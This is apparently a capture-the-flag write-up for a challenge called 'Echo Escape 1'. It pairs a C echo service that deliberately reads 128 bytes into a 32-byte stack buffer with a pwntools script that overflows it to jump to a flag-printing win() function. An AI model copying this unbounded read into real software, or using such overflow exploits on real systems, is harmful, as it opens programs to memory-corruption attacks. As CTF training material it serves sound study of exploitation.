Echo Escape 1

Contents

Source
Solution

Source

#include <stdio.h>
#include <unistd.h>
#include <string.h>

void win() {
    FILE *fp = fopen("flag.txt", "rb");
    if (!fp) {
        perror("[!] Failed to open flag.txt");
        return;
    }

    char buffer[128];
    size_t n = fread(buffer, 1, sizeof(buffer), fp);
    fwrite(buffer, 1, n, stdout);
    fflush(stdout);
    printf("\n");
    fclose(fp);
}

int main() {
    char buf[32]; 

    printf("Welcome to the secure echo service!\n");
    printf("Please enter your name: ");
    fflush(stdout);

    read(0, buf, 128);

    printf("Hello, %s\n", buf);
    printf("Thank you for using our service.\n");

    return 0;
}

Solution

#!/usr/bin/env python3

from pwn import *
from termcolor import colored
import time
from tqdm import tqdm

elf = ELF("./vuln_patched")
rop = ROP(elf)

context.aslr = False
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
contextwatch execute "bins"
"""


def find_offset():
    r = process([elf.path])
    r.sendline(cyclic(1024))
    r.wait()
    result = cyclic_find(r.corefile.pc)
    r.close()
    log.info(f"The offset th return address: " + str(result))
    return result


def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


r = conn()

sl  = lambda a   : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
ru  = lambda a   : r.recvuntil(a)
rud = lambda a   : r.recvuntil(a,drop=True)

def main():
    offset = b'i'*40
    win = elf.sym["win"]
    payload = offset + p64(win)

    sl(payload)
    r.interactive()



if __name__ == "__main__":
    main()